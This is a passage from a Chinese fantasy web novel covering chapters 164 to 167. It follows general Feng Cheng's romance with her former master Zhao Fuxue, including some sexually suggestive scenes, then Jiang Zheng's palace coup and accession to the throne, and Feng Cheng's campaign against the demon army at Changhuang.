又是一酸,封澄被逼得下意识要躲,腰间却牢牢抓住,不得挣扎,她终于忍不住,一口咬在他的颈上。 夜还长,春雨淅淅沥沥地落。 正是一年春好之时。 第164章 第164章长夜深深 扰得一日清眠,半困半倦地歇了片刻,一睁眼便是日上三竿了。 有人将她裸露在外的手臂收回了被子中,封澄低下头,看见赵负雪骨骼清晰、皮肉漂亮的手。 似是没意料到她这时能醒,赵负雪微微睁大了眼睛。 他还是从前清冷端然的模样,而此时封澄见了,只觉得心里痒痒的,忍不住抬头亲了亲他,耳边雨声淅淅,她的声音有些沙哑:“外头还下雨呢,一大早醒来,去了哪里?” 赵负雪不言,而是低头下去,作势要掀开被子,封澄吓了一跳,连忙拿手压住他:“干什么,光天化日!” 被捉住手的赵负雪定定地看着她,片刻,忽然挑了挑眉。 少年般的神情出现在赵负雪身上可谓是鲜明极了,恍惚间叫人竟有些分不清今夕何夕,封澄当即便挪不开眼睛,色令智昏之间,只听他慢条斯理道:“将军,又不是昨日撕我衣服的时候了?” 意思是说她不认账。 轰隆一声,仿佛一道炸雷般轰在了封澄脸上,她登时回过神来,结结巴巴地否认了半日。 忽然,封澄想到了什么,她猝然住了嘴,目光往赵负雪身上乱七八糟地扫。 “我突然想起个问题。” 赵负雪低头查看她小腿上的指痕,偏了偏头。 “……人和魔能生吗?” 他的手骤然一顿,半晌,赵负雪看了她一眼,对她的脑回路接受良好,无奈道。 “虽说是太快了些,但若你想要的话,试试。” 封澄:“……” 封澄干笑两声,讪讪地把小腿抽回来,起身穿衣服,老实了。 与开了荤的赵负雪共处一室并不是个理智的决策,至少对于眼下来说是这样。 将近正午,有人上来递了拜帖,赵负雪一见便皱眉,封澄探过头去,只见赫然两个大字:何府。 一刻钟后,二人来到了正堂。 何守悟早已在此地等候多时,他一向精于世故,从不叫人多等分毫,见二人走来,连忙起身,笑道:“尊者将我好瞒,晚生如今才知道将军已回了洛京,未曾早早拜会,倒是我的过错了。” 这几日的彭山之变,此人自然有所听闻,封澄也懒得和他扮笑脸,二郎腿一翘,似笑非笑道:“都是千年的狐狸,何公子也不必演了,你我杀身之仇在此,何来一句拜会?寻仇还差不多。” 何守悟的笑脸登时一僵。 他料到了封澄不会是块难啃的骨头,和她谈条件必然要做出大出血的准备,可是没料到,还没下口便被扎了一嘴的血。 “……” 何守悟看着一旁的赵负雪,眼珠一转,忽然想到了什么,慢吞吞地笑了。 “将军要仇,也得恨对了人才是。我当年不过是天机师挥之则来的狗,我干什么,不都还是上面人的意思?” 岂有此理,这人敢当着面挑拨。封澄冷笑一声,道:“如今的何大人倒是一手遮天的权势之人了,所作所为还是尤胜当年,可见这当狗属实是个人追求,赖不到旁人头上去的。” 话音一落,何守悟脸上半点笑意也不见了。 他沉着脸端起了茶水,喝了一口,站了起来。 “事已至此,多说无益,”他道,“如今我愿将手下江山让出一成来送给将军,官位产业,任你摆布,只求你我从此井水不犯河水,将军能看到我的诚意了吗?” “你的江山?”封澄一听,先觉荒唐,又觉好笑,“这刘不平的朝廷,竟然改姓了何?” 何守悟冷冷道:“将军不必冷嘲热讽,当年趁机生乱是我做得不地道,只是我亦有不得不做的缘由,刘氏昏庸,数年来醉心于长生之道,豢养妖魔、炼制仙丹,这么多年若不是我在朝中维系,天下早已换了八百个主人。” 这么一听还真是辛苦又心酸了,封澄敛眸,忽然冷笑了一声。 “这么一听,倒是他的过错。” 何守悟听封澄口气和缓,心中也隐隐松了一口气,他道:“为臣者自是不敢妄言君上,无愧良心就好。” 谁料听闻此话,封澄却嗤一声笑了出来。 身着素衣的将军颇有些不讲理的匪气,分明是个年轻极轻的女子,却一身混不吝的脾性。 “你说的话,我一句也不信。” 何守 悟呼吸一窒。 封澄道:“话可不兴只说一半啊,他刘不平是活得久了不错,但我忽然想起来,何公子似乎也是身无仙脉的凡人。” “保养得宜,不见老色。何公子,你可把自己择得冰清玉洁。” 说罢,封澄起身,懒洋洋地伸了个懒腰,道:“家国大义,公理人情,于我此时而言,已无半分价值。我想要把前世血债一笔一笔地讨回来,无论是朝廷欠我的、欠阿徵的、明白么?我不要你割下来的江山,我要刘氏朝廷颠覆。” 赵负雪淡道:“送客。” 侍从上来就要将何守悟架出门去,何守悟猛地挣扎起来:“赵负雪!赵负雪!你听见了吗?她连刘氏朝廷都敢贪求,你赵氏早晚也是她案上鱼肉!” 他本以为赵负雪至少会抬头看他一眼,不料赵负雪连分毫视线都未给他。 坐不住的,反而是一旁的封澄。 “闭上你的嘴。”封澄阴沉道,“皇室于公而言无能昏庸,人人得以诛之。于私而言,杀我性命,害我同窗,连拱卫边疆的天机铁骑也要赶尽杀绝,我杀它有理!它也配和赵负雪相提并论?” 侍从机灵无比地塞了何守悟的嘴,将人带礼重重地丢了出去,封澄余怒未消,怒道:“只管把你的狗备好挨杀,其余的别管!” 何守悟被拖了出去。 赵负雪看着封澄,唇角微微一勾,将气势汹汹追上去踹的人一揉,登时把人揉了回来。 “若要吞了赵家,”他摸了摸封澄的头顶,道:“哪用如此麻烦,我知道的。” 美人往前一站,便叫人没了八分火气,封澄看了门口一眼,又看了看赵负雪,哼了一声。 深夜,屋内一灯如豆。 封澄偏了偏头,尝了尝美人的滋味,把白日的恶心人丢到了脑后,她在赵负雪胸前磨了磨牙,赵负雪很纵容地由着她探索,仰着头,露出线条极为美丽的胸颈与腹部。 皮肉雪白,美得仿佛上好的瓷器。 他不知在想什么,片刻,道:“什么时候开打?” 封澄松了嘴,上去亲他,他身上的冷香气无孔不入,包裹得封澄十分安心。 只有两人,像是回到了鸣霄室的日子,封澄想,但那时的赵负雪不会半敞着衣袍,由着她上下其手。 “再造些势,”她道,“宫变总比打仗简单些,若能顺利夺权,并不是非打不可,打仗死人太多。” 赵负雪点了点头,封澄的手绕到他的身后,锦缎似的长发自她指缝中落着,触感极佳。 “天下万民,不会在意谁做皇帝。”她道,“只有个清君侧的名头就够了,刘润虽是个废物,却也是个老实巴交的废物,废物做出来的事,比畜生好些。” 将刘润重新扶上皇位,也是现下最为顺理成章的打算。 亲吻一触即分时,赵负雪向后撤了撤。 封澄略有喘息,歪着头,有些奇怪地看着赵负雪。 “心怀天下的小将军,”他道,“这次留京多久?” 两人心中都清楚,封澄的主战场在长煌,留在洛京的日子,并非像少年一般无穷无尽。 黎民数年处在水深火热之中,渐渐地将这盛世太平的最后一位天机主帅美化成了平安世道的符号,她此次回京,杀血修,镇何家,声势造得已经够大。 好戏开场的日子不会太久,刘不平的皇位也坐不稳了。 封澄摇了摇头,叹了口气,把脸埋进赵负雪的胸口。 “宫变夺权,只是内忧,天魔压境,还有外患。持劫不死,我难以留京。” 察觉到男子的气息似乎冷冽了些,封澄立即反应过来,她坐在赵负雪腿上,乖乖地仰着头,开口去顺师尊的毛。 “等宫中安定了,我来提亲好不好?很快的。”她笑着贴赵负雪的脸,“不知道你祖辈瞧不瞧的上寒门,许不许我来拱一下赵家的公子。” 赵负雪低头看着她,今夜一盏灯火正在床头,照得眼前女子言笑晏晏,眉目如画。 这张脸从前倔强而泥泞,固执而躲闪。 现如今已然褪去了少时的稚嫩,真正地长出了令人移不开眼睛的风华,历经生死的平静,孤注一掷的果敢。 是跟在他眼前朝夕不离的小徒弟,他想,也是日后白头与公的心上人。 “小骗子。”赵负雪这般想着,垂着眼睛,低头,吻她喋喋不休的唇。 衣物被她不知甩去了哪里,她的脊背很薄,从颈,到尾椎,是一条流畅而清晰的河流。 “好。” 等待并不是可怕的事情,更何况他已经等了这么多年。 抵死缠绵之中,封澄推着他的胸腹,难耐道:“不……不做了,昨日亏空,还没,还没补上,受不住了。” 腰间酸软,她坐不住,腰重重地落下去,又是一阵似欢愉似哭泣的气音,赵负雪吻去她眼角泪水,诱哄般道:“做得很好,再吃一些。” 人又重重落在锦被堆中,长夜深深,天明将至。 第165章 第165章宫变 整个洛京的春日,杀机四布,剑影刀光。 血与权将洛京的天平缓缓倾斜,倾倒,直至将要崩塌。 暑气将要散尽,秋日正凉时,姜徵回京了。 她进宫门时,有枭鸟从栖息之地乌压压地飞起,鬼哭般的声音,凄凉忧郁,姜徵背着长刀,未着剑鞘。 这把刀从来不该入鞘。 宫禁将至,看守宫门的守卫正要出声阻拦,却见她头也不抬,侍卫面前却刀光一闪,他话都说不出一句,便捂着喉咙软倒在了地上。 封澄懒洋洋地收剑入鞘,莹光流润的颜色,雪白的剑。 “久不用剑,”她擦了擦溅到脸上的血,“手生了,不好意思啊。” 一旁的宫卫当然认出了眼前这位是何方神圣,这半年间,新帝窃国之名传得沸沸扬扬,而最有力的证据,便是这位将军手中的旧帝。 守卫见状,猛地敲打宫门前的天机大阵,意图开阵,还未出手,便听姜徵冷冷道:“劝你莫做这等打算。” 她走向了宫中。 这座幽深宫门,四方天地,姜徵数不清在其中煎熬了多少岁月。 宫门禁地,守卫森严,从前姜徵只觉孤身站在里面,孤寂得岁月无穷,如今被这些刀锋对着,她倒觉得畅快又自由。 封澄大笑道:“诸位听令,杀!” 京中守军多为机关一道的修士,城门天机卫以及宫中天机师一派,已然在满城风雨中站到了封澄身后。 与此同时,四大世家之中,赵氏与姜氏沉默数年,如今咆哮而出,崔氏见状不妙,已然置身事外,而从来不问世事的楚家更是寂然无声,权当并无此人了。 宫中负隅顽抗者,竟只剩了机关道一派,以及负隅顽抗的血修。 踏着一路血雨,姜徵走向了殿门。 长刀在暴雨中滴着血水,封澄淡淡地看了一眼天色,道:“这个天气,把那群老东西弄来,可是受罪了。” 姜徵咸咸道:“比起操那闲心,不如多想想若是事情生变,你我尸骨不知埋去哪里。” 这种情况下还能开玩笑,俩人相视一笑,皆被对方淋成一团的模样逗笑了。 “刘润呢?”姜徵道。 “赵负雪带着,一会儿和朝臣一起过来。” 姜徵点了点头。 紧绷的神经令她无暇去想其余任何的事情,她紧紧地盯着殿堂之上,那里漆黑一片,犹如鬼影。 仿佛吃人的宫门中缓缓地推出了一个人。 是一个人,封澄费劲地辨认了半日,才认出了这团烂肉是什么玩意。 刘不平按理来说并不老,宫中灵药灵器仿佛不要钱,寻常帝王寿命也不会短到哪里去,至少他的父辈在这个年纪时,应当还是壮年人的模样。 而他已经垂垂老矣,封澄想,难怪朝廷被何守悟一手遮天,这皇帝即便是想管,也是有心无力。 姜徵抬起眼睛,宁静地看着殿堂上苍老的帝王,慢慢道:“皇弟,好久不见。” 推他出来的男人连一把伞也没有为他打,何守悟站在他身后,目光像是淬了毒火。 “是很久不见了,姜太后。”他道,“还有你,封将军。” 眼下说这些也晚了,机关道众修士狼狈道:“宗主,我们要撑不住了,不如先起大阵!” 一群修士对一个凡人俯首帖耳,即便是敌对,封澄也有些赞叹此人的本事。何守悟沉吟片刻,抬起头来,道:“既不能善终,便来战罢。” 轰然一声,从天一声霹雳,霎时一道天机大阵在众人头上缓缓展开,雷霆之威,能令天下拜服。 封澄大笑道:“这老掉牙的玩意,也就宫中这种死气沉沉的地方还在用了。” 说罢,她一把夺过身旁修士的弩箭,一跃落在了屋檐之上,紧接着,对着屋檐上的脊兽飞出一箭。 这一箭去势汹汹,登时便与那雷鸣对轰,打了个粉碎,何守悟惊愕交加地看着她,只听封澄笑道:“旧日的天机大阵,已然被长煌以北的天魔破了不知多少回。何公子向来瞧不上长煌那穷乡僻壤,想来也不懂如 今军用的灵器大阵是何模样了。” 顿了顿,封澄又歪了歪头:“但凡何公子亲自去灭盛家满门,也该见识过如今天魔的可怖。” 盛家二字一出,何守悟的额角猛地跳了跳,他沉声道:“盛家?你什么意思?” 盛家满门已被他尽数清洗,他强装着镇定,心头却不由自主地沉了下去。 封澄笑笑,她看着陆续走入宫门中的几位老臣,扬声道: “罪臣何守悟,屠戮无辜凡人,犯下灭门恶行,人证物证俱在,罪当伏诛!” 站在大雨中的几位老臣原本满腹怨言,一听,齐齐变了脸色。 近来京中清君侧之声堪称风云变幻,而眼前的场景,竟赫然是清算时候了! 何守悟的手攥紧了轮椅,刘不平仰着头嗬嗬,发出了疑问之声。 这件事的确是他所做为数不多的不周全之事,何守悟咬牙,登上高位多年来,他每时每刻都仿佛如履薄冰,力求行事挑不出一件错来。 唯有盛家那个女人,打了他一记措手不及。 他困惑,整个何氏皆在他掌心战战兢兢,怎么她一个弱质女子,竟有违抗他的死令,带着那小怪物出逃的勇气? 脑中翻覆了几个来回,他定了定神,脸上还是挑不出半点异样的神情。 “封将军说的话,我听不懂,什么人证,什么物证?” 她挑了挑眉,道;“人证何庄,乃盛家惨案的目睹之人,此时正在赵府,由赵氏妥善照顾,至于物证嘛……” “应当就在你自己府上了?” 刹那间,众人齐齐大哗,就连刘不平也变了脸色,他费力地伸出枯瘦的手,紧紧地攥住了何守悟的手掌:“……爱卿,此言……当真?” 何守悟一掌几乎捏碎了轮椅,他定了定神,忽然想起了什么,唇角冷笑不已:“既然封将军说是在我府中,那就是没有物证了。” 封澄就等他这一句,她拍了拍手道:“好说,既然何大人为官清廉,无可指摘,那便派人搜府如何?正好还大人一个清白。” 搜府?! 万万不能!何守悟怒道:“要搜朝中大臣府邸,非帝王之令绝不可行,你是什么东西,敢搜我的府?!” 谁料封澄却好像听到了什么惊天大笑话一样,她捧腹而笑,几乎要笑倒在屋檐上,良久,她才忍不住抹了抹笑出来的眼泪,道:“那话便说回来了……这位坐在皇位上被推过来的又是什么东西?你管这个叫帝王吗?” 刘不平猝然一僵。 初秋的雨已经有些冰凉,雨水顺着姜徵面上沉静的线条向下流淌,她平静道:“姜氏一族仁至义尽,刘不平,退位。” 何守悟气急骂道:“好你个老女人!深宫妇道你不守,跑出来抛头露面逼宫造反!亏我从前还觉得你是稳妥之人,你姜氏本该是皇族利刃,便是这么侍奉为君之人的吗?退位?!他退位了给谁?谁配接这个位置!” 几番冲击,终于使何守悟彻底脱下了穿在身上的美丽人皮,他疯狂地叫骂着,任凭雨水灌进他的喉咙。封澄正要去找刘润到了哪里,却听身旁传来轻轻一声。 “我。” 封澄骤然脖子一扭,眼睛猝然睁大。 姜徵看着他,平静的怒火从眼中勃发而出,何守悟仿佛听到了什么天底下最为荒谬的事情一样,登时难以置信地哈了一声:“你?姜氏和皇族沾得上一点儿边吗!?你是要窃国了!” 朝下议论纷纷,连刘不平那个半瘫也愤怒地手舞足蹈起来,只一人站在宫门之前,怔怔地看着姜徵的背影,悄悄地垂下了手。 连封澄也觉得姜徵简直疯了——她是要造反,但没想能造得这么反。 清君侧清君侧,杀了刘不平,扶个呆子刘润上去,照旧是清君侧,可若是扶个姜徵上去,这名头打得就不够了! “你这种事都敢瞒着我?”封澄少见地哑了,难以置信地想。 姜徵站在帝王台阶的一步之下,目中怒火几乎要将刘不平的尸身点燃,不光是封澄,就连她自己也没想到造反称帝这一茬。 直到看见了烂泥一样的刘不平。 怒火烧遍了她的躯干与头颅——就这样一个人,就这样一个烂泥般的、不堪为人的人,他可以称帝,可以顺理成章地拥有一个姜氏女子的自由,拥有埋没封澄生前一切荣耀的权力,拥有挥霍整个天下的贪婪。 将她困于深宫不得出的,就是这样一滩烂泥。 为什么她不行?为什么世世代代姜家女子以血肉与自由哺育出的江山,要拱手送给这样的一滩烂泥! “每一代的刘氏皇族!”她怒吼道,“每一代的皇族!血液里都流淌着一半姜氏女的血!他敢否认吗?宗庙里每一个坐在皇位上的人敢否认吗!有哪代帝王不是姜氏的血肉诞育而生吗?皇弟只认父亲的血,却这么羞愧于承认自己母亲的血脉吗!” 震耳的发问,众人看着姜徵,不约而同地沉默下来。 “既然刘氏坐得这皇位,那我姜氏之人,便也能坐这皇位!” 一片死寂之中,封澄清晰地看见,身后的姜氏众人,眼睛一点一点地亮了起来。 刘不平抖抖索索,几乎要坐不住滚在地上。 封澄叹了口气,道:“还愣着干什么?诸位,先帝驾崩,新皇登基啊。” 她站了起来,朝臣听着姜徵一口气细数了刘不平与其爪牙何守悟数年中的暴行,每说一个,天机师便杀一人。宫中灵器大阵在封澄面前齐齐缴械——也不知多久没返修维护了。 血池的位置被一个一个地报出来时,在场众人的脸已然齐齐变了。 “……这世上,竟有这等肮脏凶残之物?” 姜徵平静地合上卷轴,只觉得堵在胸口的一股经年淤血散去了。 “如此不堪之人,可能为帝?” 场中先开口的是姜氏天机师。 “请新皇登基!” 姜徵左手拎着滴落雨血的长刀,右手是写着刘不平累累罪行的卷轴,一步一步,湿漉漉的靴子踏在台阶上,发出沉闷的雨声。 何守悟看着她,不知为何,竟然下意识地向后退了一步。 “请新皇登基!!” “——请新皇登基!” 雨水将姜徵浇得狼狈极了,头发湿漉漉地贴在脸上,唯有一双眼睛,在雨夜之中亮得出奇。 封澄坐在屋檐上,似笑非笑道:“长煌三十万天机军,请新皇登基。” 刘不平终于彻底地瘫软在了轮椅之中。 何守悟仓皇地松开了手,四处环顾,却只见伤兵残勇,他知晓大势已去,亲眼见着数年基业付之一流,胸口腥甜往上一扑。 “奸佞当道,我败乃时势!”他悲愤不已,转身将矛头对准封澄:“你这个无君无上,无师无长的狂佞之徒!为徒犯师,为臣犯君,安知将来会不会有朝一日为人犯天,篡了这皇位!” 闻言,殿下众人齐齐心头一跳。 何守悟冷笑:“姜太后,与虎谋皮,兵行险棋,好自为之。” 姜徵唇角勾了勾。 “这便不劳死人费心了。” 机关傀儡被长刀一分两半,众人心惊——朝堂之上少言的姜太后,原来有这样一把锋利的长刀。 “你们一定会遭报应!”他尖叫,“持劫!持劫会把你们全杀了,全杀了——” 声音戛然而止,唯留一道刀上的血线。 众人寂然无声地看着姜徵。 屋檐上的封澄垂着一只脚,很悠闲地晃,哈哈一笑,道:“皇帝,我若造反,当如何?” 姜徵头也不抬地把何守悟尸身踹下去,殿堂的台阶很高,尸身碰撞在上面,发出骨骼折断的脆响。 “不如何。”她冷冷收刀,“等我死了,把我哭你的眼泪还回来就成。” 封澄哈哈着笑倒在了屋檐上,她抹了抹脸,低下头,郑重道:“少时一诺千金,我如今履约了。” 姜徵道:“我知道。” 回过身来,人在高处,连身形都如山般高耸,众人看着她,看着她身后的封澄,陆续跪下,低头叩首,山呼万岁。 为君者坦然接受这一切。 只有宫门前的影子模糊而狼狈,忽然有一人撑着一把素伞,走到了他的身边。 冷香扑面,他怔怔道:“她,很厉害。做皇帝,她也会很厉害,我不行。” 顿了顿,他茫然地抬起头。 “我是不是要死了?” 赵负雪平静不语,刘润低下头,喃喃道:“可我,不想这样死在阿徵的手里,我还,我还有很多的事情,没告诉她。” 新帝登基,那打着旗号的先帝自然要被处理干净,刘润倚靠在宫门边上,清楚一阵糊涂一阵的脑子根本不能支撑他处理如此翻天覆地的变故。 他颓然捂着脸,狼狈地软倒在湿漉漉的雨地上。 脑中似乎有十分要紧的东西,临死关头,他却想不起来了,刘润看着高台上狼狈而耀目的姜徵,脑中的茫然与心头的异样如同刀子,他哀嚎一声,软倒在地。 所幸雨声够大,不 至于令殿上众人听见。 赵负雪平静道:“她不想杀你。” 刘润猝然睁开了眼睛。 “兴许不会杀你,”他摇头笑笑,看着蜷缩的男子,一旁的侍从十分有眼色,将他扶了起来,带去外面。 刘润看着赵负雪的背影,张了张嘴,仓促道:“尊者,你要去哪里?” 漆黑的子夜之中,只有他持一把素白的伞。 他抬头,看向了一处,眼底是浅浅的笑意。 “带人回家,”他道,“也不是小孩子了,还闹着淋了半夜的雨,回家又要发热。” 第166章 第166章虚兵 宫变当日,事务繁多,但那已经不是封澄的事情了。 她不出所料地染了风寒,蜷在被子里,额头烧得滚烫。 赵负雪道:“吃药。” 她苦着脸坐起来,呼吸都是烫的,瞄了一眼漆黑的药汤,心里头便一迭声地叫苦。 难道就这么一碗药?封澄不信邪地越过赵负雪往后看,桌上空空荡荡,连蜜饯的影子都没有。 赵负雪冲她扬了扬眉:“张嘴。” 见状,封澄一拍床榻,悲愤道:“岂有此理,我从前还能混上个蜜饯吃的!” 的确如此,当年封澄在天机院不肯吃药时,赵负雪总会带些蜜饯来,叫她乖乖吃药。 正当她控诉这般待遇而喋喋不休,赵负雪垂眸,唇角勾起个似笑非笑地弧度,他搅动着漆黑的药汁,道:“你如今不肯吃药,我已是有旁的法子了,比蜜饯省事。” 封澄:“……” 她下意识地吞了吞口水,本能地不想试试这个法子。 赵负雪摸了摸她的头,她低下头乖乖地喝了药,露出了一副苦哈哈的表情,黑水银似的眼睛里带着高烧的水意,赵负雪抬手摸了摸她的唇,忽然低下头,印上了个凉凉的吻。 封澄:“……哎,搞这套,犯规了。” 她呆呆地摸了摸嘴角,赵负雪不知从何处取来蜜饯,递给她:“吃了就睡下,有事会喊你。” 封澄哪里是吃药都要哄着的人了,当年战事凶险,若是中了埋伏,军中补给跟不上来,处理伤口便全靠手边采到的药草,有什么嚼什么,带着土带着血,便稀里糊涂地放进了口中。 赵负雪乐意哄,她也乐意哄。 兴许是被她这么眯着眼睛看的模样戳到了,赵负雪手一动,忍不住上去摸了摸她的脸。 他觉得自己大概是生病了。 迫切地希望能靠她近一些,再近一点。 仿佛皮肤贴在一起、呼吸纠缠时,仓惶而落寞的心才会心安理得地落下。 渴求多年之物平安落在掌心时,他的心底倒生了一片紧迫的焦虑,生怕她会悄然无声地消失一样。 “睡一会儿吧?”赵负雪伸手合她的眼睛,道,“别看了。” 他躺到封澄的身侧,身旁的被褥传来下压的重量,封澄略不自在地推他:“风寒呢,给你染上了。” 赵负雪不语,只是默默地收紧了封澄身上的手臂。 烧得昏昏沉沉,封澄也无暇去管赵负雪了,她迷迷糊糊地闭着眼睛,不知何时,便埋在赵负雪颈侧睡着了。 秋雨渐重,连绵不绝,屋外已然有了寒意,屋中却暖意融融,熏人欲睡。 新皇登基之事告一段落,刘不平战战兢兢地写下了禅位诏书,昭告天下。世人虽是不知为何登基的是姜徵,但随着废除天机税、开设灵器以及开科考试等一系列的政策下来,也就无人去在乎皇后登基之事了。 说到底,原先坐朝的便是帝后二人,如今帝王失德,皇后临朝,再正常不过了。 而封澄停在洛京的时日也渐渐地到了尽头。 她叹了口气,合上了手中书信,道:“我又不是不回来了。” 对面的赵负雪神色紧绷,他皱着眉,道:“风寒才好了几日。” 心底隐隐有些不安,赵负雪不知是再次复苏的生死咒之故,还是其他什么缘由,他看着封澄忙碌起来,打包行李,来往信件,看着她将战甲挂了出来,越发地沉默了。 封澄感觉,赵负雪有一点黏人。 她从前也感觉赵负雪对于她去长煌一事有些奇怪的反应,但奈何他奇怪得十分诡异,称其量不过那几日脸色不好。如今登堂入室了,此人简直毫不躲藏,把“不想分开”四个字牢牢地写在了脸上。 但写得还是很隐晦。 封澄吧唧一口亲了他的脸:“寸金那边来信了,近来的天魔多得不正常,宫廷生变,持劫难保狗急跳墙,打完这仗,天下就太平了。” 赵负雪倒是叹了口气:“说得像我不许你走一样。” 是没说,封澄道:“等我回来,提亲好不好?打了胜仗一起提。” 赵负雪没有说话,只是不做声地提起了剑,随即划破手指,拉过封澄手指,在她掌心写了什么东西。 红色的字体热热的,爱人的血液在掌心书写的感觉十分微妙,封澄不禁歪了歪头,猜测大概是个阵法的样子,开口道:“这是什么?” 最后一笔落下,赵负雪抬起她的手,吻了吻,脸色忽然有些苍白。 “不是要紧东西,”他道,“三日内别碰朱砂。” 生死关头,能多保她一命。 封澄看见赵负雪突然变白的脸色便知道这咒来头不小,她一时间不知是疼是气,捧起赵负雪的脸来便咬,赵负雪抚着她的后肩,道:“我随军,和你一起去。” 她松开嘴,有些担心道:“你出京城,没问题吗?” 赵负雪摇了摇头。 “如今反咒尽消,经脉无碍,自是可以出京。” 固执又专注,应当是想了很久。 封澄看了一眼赵负雪的脸色——不让他出京,八成这事没完。 于是她想了想,道:“好。” *** 昭煌元年,秋分之末,持劫向大夏悍然开战。 姜徵在朝堂之上,看着传抄而来的战书,微微皱了眉。 “朕总觉得这字迹在何处看过。” 一旁侍候的女官道:“呀,这不是前朝迟太师的字迹么!” 姜徵猛地一顿。 女官尚且年轻,一副兴致勃勃的模样:“当年的迟太师,写得一手好隶书,我祖母曾得了一副迟太师的墨宝,视若至珍,婢幼时还被祖母逼着临摹了些时日呢。” 迟太师? 姜徵已死死地捏住了手中的御笔。 那太师若有若无的笑声似在耳畔。 当年刘润亲信于他,细细一想,似乎当时朝中几多大变,与其也难逃关系。 “传令下去,”她沉声道,“西琼,东海一地天机师,即刻驰援长煌天机军。另征收民兵,下令与散修世家,共御大敌。” 女官微怔,似是不明白一封战书,缘何就让姜徵色变到了如此模样。 她行了礼,下去传令,姜徵深深地望着殿门之外,心头的不安犹如殿外密布的黑云。 如若持劫当真曾混入大夏朝廷之中,还做到那等位置,那么大夏的税收、军队、以及年年用于各地布防的银子与灵石,再比如说灵器的规模,他至少是经手过的。 现下的大夏虽是民怨沸天,但旧时天机税与前些年肆意横行的长醉的确是喂饱了众官僚与帝王私库,即便是哪里不够,抄家、开私库,无论如何也就补上了军需之口,断没有无钱打仗的情况。 而持劫在此情形下还敢与大夏开战,那就只有一个缘由了。 他手中的筹码,足以压倒大夏的军队。 且—— 朝中乃天机师高手群英荟萃之地,这么多高手,竟然无一人能认出迟太师的身份,那么在更为广阔的民间,他又会做什么? 长煌战场上,封澄看着姜徵送来的急信止不住地皱眉:“她是说,持劫就是当年那位迟太师?我的老天爷,对面老大都已摸进贼窝里了,大夏上下都是吃干饭的吗?!” 话一出口,她闭了嘴——当时她也在朝中,也属于那广大吃干饭的范畴之中。 中军帐中,寸金与秦楚皆有些不敢抬头,视线左右躲闪,不知 道要往哪里放。 封澄的身后赫然坐着一素衣男子,淡漠端然,风华无双,不是她当年的那位师尊又是谁? 二人多少都是明白师徒俩旧时之事的,按理说师尊来徒儿的中军帐中帮忙出谋划策也不是什么问题,可奈何此人的眼神着实算不上师慈徒孝,反倒有些举案齐眉的味道。 封澄皱眉道:“来。” 寸金与秦楚回过神来,连忙上前,她皱眉喝了一口乱七八糟的提神汤药,当即被里头又酸又哭的味道冲得精神一振,封澄指着沙盘道:“如今我等战场在长煌之北、拉舍尔部旧址一带,正面大胜,步步寸进,可还有一事,我不解。” 她把旗子画了过来,秦楚皱眉道:“怎么了,将军?” 封澄在拉舍尔部旧址处画了个叉。 “其一,拉舍尔部以北,取水艰难,即便是仓储灵器储水,最多也不过用十日。” 寸金忙道:“不妨事,临行扎寨,再押送物资便是。” 封澄在长煌西边画了个叉号。 “轻骑快马在前,负重在后,而拉舍尔部风沙诡异,定然将我军拉长,若是持劫借此打埋伏,将后军裁断,天机军驰援不及时,此战艰难。” 一时间,秦楚与寸金沉默了。 寸金道:“可将军怎知,长煌西面一定会出现一支足以截断队伍的天魔?西面亦有崔将军带兵防守。” 封澄若有所思地掂了掂手里的水壶。 “直觉如此。如若是我打持劫,亦会对水源出手,杀败崔霁,可比杀败天机军容易一些的。” “而此时若是分军支援崔将军,眼下持劫大军反扑便艰难了。”秦楚道。 封澄点了点头:“这就是我要说的其二了。” 她又喝了一口水壶中的汤药——经日连轴转,即便是她,精神也抗得艰难,赵负雪看着她面不改色地灌那水壶里的汤药,眉间微蹙。 “这批天机军怠于训练多年,”她冷色道,“打起眼下的天魔来,却比当年天机铁骑还要顺手,几乎是一路大胜地打进了拉舍尔部附近。” 闻言,寸金猛地抬起头来:“将军怀疑这是虚兵?!” 封澄呸呸两口吐了喝进嘴里的草叶,道:“是虚还是实,试试便知。” 第167章 第167章还沙 星夜,一支轻骑悄悄潜入了拉舍尔部旧址。 雾气浓浓,空气中仿佛淬着毒液,毫无预料的夜袭将整个敌阵惊动,封澄站在高处,身下漆黑骏马不住地倒换着蹄子,她道:“侦察预估敌军多少人?” 寸金道:“照着前几日多线打的架势,至少三十万大军。” 封澄皱了眉,道:“我预计的也是这个人数,可过来一瞧,这营地里别说装下三十万兵,就连装下十万也难。今日夜袭战来一看,兴许这十万也要打个问号出来。” 寸金道:“难道前些日子在我们面前的果然是佯装的虚兵?” 封澄看着几番拼杀,又皱眉摇了摇头:“现在我倒不这么觉得了,当作虚兵的话,魔又确实有些多了——西线战事如何?” 沉吟片刻,寸金道:“不尽善,秦楚已带兵去支援了,但总得来说,能撑住。” 这就奇了怪了,封澄皱眉一想,心中的不安越发浓烈。 “撤。”她道,“轻骑快马,即刻回营。” 这一战,便从子夜打到将要天明时分,次日清晨,封澄见到了前来支援的天机师。 此番战事打得越长,战火的紧张也渐渐波及到了大夏以里的地带,寸金来问支援的安置,封澄道:“带人编入西面支援的队伍里,这儿用不着。” 寸金领命下去,方未出门,便见一人连滚带爬地跑上来,一路急报道:“报!魔军突袭,前线撑不住了!” 豁然封澄站起,她镇静道:“昨夜勘察,已探出敌军过十万余众,我天机大军在此,如何便撑不住了!” 那侍从道:“将,将军,哪里是十万魔军,至少是三十万魔军啊!” 刹那间,寸金与封澄齐齐交换了一个视线,封澄按下心中疑窦,起身,血枪入手:“走。” 中军帐里的赵负雪看着她,片刻,若有所思地敲了敲案上书籍。 此战惨烈,三十万魔军仿佛是长着血盆大口的凶兽,战场之上死伤惨烈。 封澄带天机铁骑,冲入敌阵,硬在天魔堆中劈杀出了一道破绽,几个来回斩了对面主将天魔,敌军大乱,才堪堪取胜。 数日之后,她带着一身疲惫回到了中军帐中,将头从破损沉重的盔甲之下解脱了出来,身上的衣甲已沾满了血迹,灰败无比——她很久没打过这么艰难的仗了。 西军溃败的消息传来——主力的确在那里。 封澄想,既然魔军主力在崔霁之处,那么她眼前这批仿佛杀不完的魔军,又是从哪来的呢? 她笃定天魔绝不可能有数百万之众,否则哪里需要纠纠缠缠地打,直接大军压境,哪怕她再会用兵照旧是无济于事。 人心越发惶惶,战火的恐慌已然波及到了大夏之内,军需官数次来报,次次面露难色:“将军。粮草价位一再飙升,眼下人人都在屯粮。” 封澄疲惫地挥了挥手:“叫姜徵批钱。” 军需官愣了愣,才反应过这是新皇的名字,他道:“并非是银钱的问题……将军,那几家控着粮草的大户,都不肯卖粮了,有钱也买不到。” 